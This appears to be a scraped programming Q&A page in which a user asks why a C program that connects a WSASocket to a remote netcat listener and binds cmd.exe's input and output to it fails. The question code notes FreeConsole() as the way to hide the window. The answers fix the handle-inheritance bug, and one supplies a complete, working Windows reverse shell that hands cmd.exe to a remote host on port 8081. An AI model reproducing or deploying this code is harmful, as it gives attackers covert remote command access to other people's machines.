【问题标题】:Are WSASockets able to take process I/O without the use of pipes?WSASockets 是否能够在不使用管道的情况下获取进程 I/O?
【发布时间】:2020-02-07 23:20:34
【问题描述】:

我正在试验 WSASockets,但我对它很陌生。

我尝试使用句柄通过套接字发送进程的输入和输出(在本例中为 cmd.exe,充当远程 shell),但每当我尝试使用时:

si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;

程序退出,不将结果提示到套接字的另一端: nc -lvnp 8081。 在某些时候,我也尝试切换到普通套接字,但我听说使用这样的句柄仅适用于 WSA 的,因为它们是不重叠的。

到目前为止,这是我的代码:

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024

void BindSock(char* rhost, int rport);

int main(int argc, char** argv) {
    //FreeConsole(); // This is the way to make the cmd vanish
    char rhost[] = "xxxxxxxxxxxxxxxx"; // ip to connect to
    int rport = 8081;
    BindSock(rhost, rport);
    return 0;
}
void BindSock(char* rhost, int rport) {
    /*while (1) {*/
        SECURITY_ATTRIBUTES saAttr;
        saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
        saAttr.bInheritHandle = TRUE;
        saAttr.lpSecurityDescriptor = NULL;
        // Initialize Winsock
        WSADATA wsaData;
        int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
        if (iResult != NO_ERROR) {
            printf("WSAStartup function failed with error: %d\n", iResult);
            return;
        }
        printf("[*] Winsock init ... \n");
        //init socket props
        SOCKET sock;
        sock = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0,0,0);
        if (sock == INVALID_SOCKET) {
            printf("socket function failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return;
        }
        printf("[*] Sock init ... \n");
        //Filling struc props
        struct sockaddr_in clientService;
        clientService.sin_family = AF_INET;
        InetPton(AF_INET, rhost, &(clientService.sin_addr));
        clientService.sin_port = htons(rport);

        printf("[*] attempting to connect \n");
        iResult = WSAConnect(sock, (SOCKADDR*)&clientService, sizeof(clientService),NULL,NULL,NULL,NULL);
        if (iResult == SOCKET_ERROR) {
            printf("[!] connect function failed with error: %ld\n", WSAGetLastError());
            iResult = closesocket(sock);
            if (iResult == SOCKET_ERROR)
                printf("[!] closesocket function failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return;
        }
        printf("[X] Sock Connected\n");

        STARTUPINFO si;
        PROCESS_INFORMATION pi;

        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));


        si.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
        si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;

        printf("[*] Created process props\n");

        CreateProcessA(NULL, "\"cmd.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    //}
}

【问题讨论】:

  • 我怀疑您会感到相当困惑,因为您正在对 Win32 进程进行 POSIX 假设。在 Win32 上,没有“WSASockets 与普通套接字”之类的东西。 WSASockets 普通的套接字。
  • 另外需要注意的是,使用STARTF_USESTDHANDLES 仅有助于写入STDOUT 并从STDIN 句柄读取的进程。但正如您自己的FreeConsole() 所示,在Win32 下您也可以直接访问控制台。我强烈怀疑CMD.EXE 正在这样做。例如,在STDIN/STDOUT 上很难完成制表符。请注意,在 POSIX 上,curses 还需要一个控制台,并且不适用于重定向句柄。
  • WSASocket() 确实适用于CreateProcess() I/O 重定向,但前提是您使用支持该用法的套接字提供程序。 Microsoft 的默认提供程序可以,但用户可以使用其他提供程序。您可以使用WSAEnumProtocols() 查找具有XP1_IFS_HANDLES 标志的提供程序,然后将其WSAPROTOCOL_INFO 传递给WSASocket()
  • @MSalters 我真的不介意制表符完成,现在我只是想让它工作:) 那么我是否取消注释 freeconsole 功能?也许我没有清楚地理解您谈论直接控制台访问的部分。
  • @RemyLebeau 是的,我在许多论坛和聊天中都读到过,但我仍然没有在我的套接字(netcat 二进制文件)的另一端收到 cmd.exe 的输出,请执行你有线索吗?

标签: c++ c sockets winapi


【解决方案1】:

我发现了问题,在:

CreateProcessA(NULL, "\"cmd.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

第五个参数是bInheritHandles,必须设置为true,这样进程才能正确使用socket的句柄。

Check this doc for more information

【讨论】:

    【解决方案2】:

    关键点:

    1. 您需要使用支持 I/O 重定向的套接字提供程序(具有 XP1_IFS_HANDLES 标志)。正如@Remy Lebeau 指出的那样。
    2. 让以CreateProcess开始的新进程继承当前进程的句柄,以便新进程可以使用套接字句柄进行读写。 (将 bInheritHandles 设置为 TRUE。)

    有三个协议提供商为我工作。

    一个完整的示例代码在这里分享给任何感兴趣的人。

    #include <iostream>
    #include <winsock2.h>
    #include <windows.h>
    #include <ws2tcpip.h>
    #include <stdio.h>
    #include <objbase.h>
    #pragma comment(lib, "Ws2_32.lib")
    
    
    #ifndef UNICODE
    #define UNICODE 1
    #endif
    
    // Link with ws2_32.lib and ole32.lib
    #pragma comment (lib, "ole32.lib")
    
    #define MALLOC(x) HeapAlloc(GetProcessHeap(), 0, (x))
    #define FREE(x) HeapFree(GetProcessHeap(), 0, (x))
    // Note: could also use malloc() and free()
    
    void BindSock(char* rhost, int rport);
    
    void connect(char* rhost, int rport, LPWSAPROTOCOL_INFOW protocolInfo)
    {
        //init socket props
        SOCKET sock;
        sock = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, protocolInfo, 0, 0);
        if (sock == INVALID_SOCKET) {
            printf("socket function failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return;
        }
        //printf("[*] Sock init ... \n");
        //Filling struc props
        struct sockaddr_in clientService;
        clientService.sin_family = AF_INET;
        InetPton(AF_INET, rhost, &(clientService.sin_addr));
        clientService.sin_port = htons(rport);
    
        //printf("[*] attempting to connect \n");
        int iResult = WSAConnect(sock, (SOCKADDR*)&clientService, sizeof(clientService), NULL, NULL, NULL, NULL);
        if (iResult == SOCKET_ERROR) {
            printf("[!] connect function failed with error: %ld\n", WSAGetLastError());
            iResult = closesocket(sock);
            if (iResult == SOCKET_ERROR)
                printf("[!] closesocket function failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return;
        }
        printf("[X] Sock Connected\n");
    
        STARTUPINFO si;
        PROCESS_INFORMATION pi;
    
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));
    
    
        si.dwFlags = STARTF_USESTDHANDLES;
        si.hStdInput = (HANDLE)sock;
        si.hStdOutput = (HANDLE)sock;
        si.hStdError = (HANDLE)sock;
    
        printf("[*] Created process props\n");
    
        if (!CreateProcess("c:\\windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
            printf("\nCreateProcess error: %d", GetLastError());
    
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
    
    void BindSock(char* rhost, int rport) {
        /*while (1) {*/
        SECURITY_ATTRIBUTES saAttr;
        saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
        saAttr.bInheritHandle = TRUE;
        saAttr.lpSecurityDescriptor = NULL;
        // Initialize Winsock
        WSADATA wsaData;
        int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
        if (iResult != NO_ERROR) {
            printf("WSAStartup function failed with error: %d\n", iResult);
            return;
        }
        printf("[*] Winsock init ... \n");
    
        // Allocate a 16K buffer to retrieve all the protocol providers
        DWORD dwBufferLen = 16384;
        LPWSAPROTOCOL_INFOW lpProtocolInfo = NULL;
        lpProtocolInfo = (LPWSAPROTOCOL_INFOW)MALLOC(dwBufferLen);
        if (lpProtocolInfo == NULL) {
            wprintf(L"Memory allocation for providers buffer failed\n");
            WSACleanup();
            return;
        }
        int iError = 0;
        INT iNuminfo = 0;
        iNuminfo = WSAEnumProtocolsW(NULL, lpProtocolInfo, &dwBufferLen);
        if (iNuminfo == SOCKET_ERROR) {
            iError = WSAGetLastError();
            if (iError != WSAENOBUFS) {
                wprintf(L"WSAEnumProtocols failed with error: %d\n", iError);
                if (lpProtocolInfo) {
                    FREE(lpProtocolInfo);
                    lpProtocolInfo = NULL;
                }
                WSACleanup();
                return;
            }
            else {
                wprintf(L"WSAEnumProtocols failed with error: WSAENOBUFS (%d)\n",
                    iError);
                wprintf(L"  Increasing buffer size to %d\n\n", dwBufferLen);
                if (lpProtocolInfo) {
                    FREE(lpProtocolInfo);
                    lpProtocolInfo = NULL;
                }
                lpProtocolInfo = (LPWSAPROTOCOL_INFOW)MALLOC(dwBufferLen);
                if (lpProtocolInfo == NULL) {
                    wprintf(L"Memory allocation increase for buffer failed\n");
                    WSACleanup();
                    return;
                }
                iNuminfo = WSAEnumProtocolsW(NULL, lpProtocolInfo, &dwBufferLen);
                if (iNuminfo == SOCKET_ERROR) {
                    iError = WSAGetLastError();
                    wprintf(L"WSAEnumProtocols failed with error: %d\n", iError);
                    if (lpProtocolInfo) {
                        FREE(lpProtocolInfo);
                        lpProtocolInfo = NULL;
                    }
                    WSACleanup();
                    return;
                }
    
            }
        }
    
        wprintf(L"WSAEnumProtocols succeeded with protocol count = %d\n\n",
            iNuminfo);
        for (int i = 0; i < iNuminfo; i++) {
            wprintf(L"Winsock Catalog Provider Entry #%d\n", i);
            wprintf
            (L"----------------------------------------------------------\n");
            // Find protocol provider has the XP1_IFS_HANDLES flag
            if (!(lpProtocolInfo[i].dwServiceFlags1 & XP1_IFS_HANDLES))
                continue;
    
            // After test and found these three protocol provider support this purpose. 
            if(!((lpProtocolInfo[i].dwCatalogEntryId == 1001) || (lpProtocolInfo[i].dwCatalogEntryId == 1006) || (lpProtocolInfo[i].dwCatalogEntryId == 1007)))
                continue;
    
            wprintf(L"Entry type:\t\t\t ");
            if (lpProtocolInfo[i].ProtocolChain.ChainLen == 1)
                wprintf(L"Base Service Provider\n");
            else
                wprintf(L"Layered Chain Entry\n");
    
            wprintf(L"Protocol:\t\t\t %ws\n", lpProtocolInfo[i].szProtocol);
            WCHAR GuidString[40] = { 0 };
            int iRet =
                StringFromGUID2(lpProtocolInfo[i].ProviderId,
                (LPOLESTR)& GuidString, 39);
            if (iRet == 0)
                wprintf(L"StringFromGUID2 failed\n");
            else
                wprintf(L"Provider ID:\t\t\t %ws\n", GuidString);
    
            wprintf(L"Catalog Entry ID:\t\t %u\n",
                lpProtocolInfo[i].dwCatalogEntryId);
    
            wprintf(L"ServiceFlags1:\t\t\t 0x%x\n",
                lpProtocolInfo[i].dwServiceFlags1);
    
            wprintf(L"\n");
    
            // Try to connect and redirect process output to remote via socket
            connect(rhost, rport, &lpProtocolInfo[i]);
        }
    
        if (lpProtocolInfo) {
            FREE(lpProtocolInfo);
            lpProtocolInfo = NULL;
        }
        WSACleanup();
    }
    
    int main(int argc, char** argv) {
        char rhost[] = "xxxxxxxxx"; // ip to connect to
        int rport = 8081; // select a port
        BindSock(rhost, rport);
        return 0;
    }
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2021-03-30
      • 1970-01-01
      • 1970-01-01
      • 2015-06-23
      • 2012-01-12
      • 2013-08-05
      • 1970-01-01
      • 2011-03-31
      相关资源
      最近更新 更多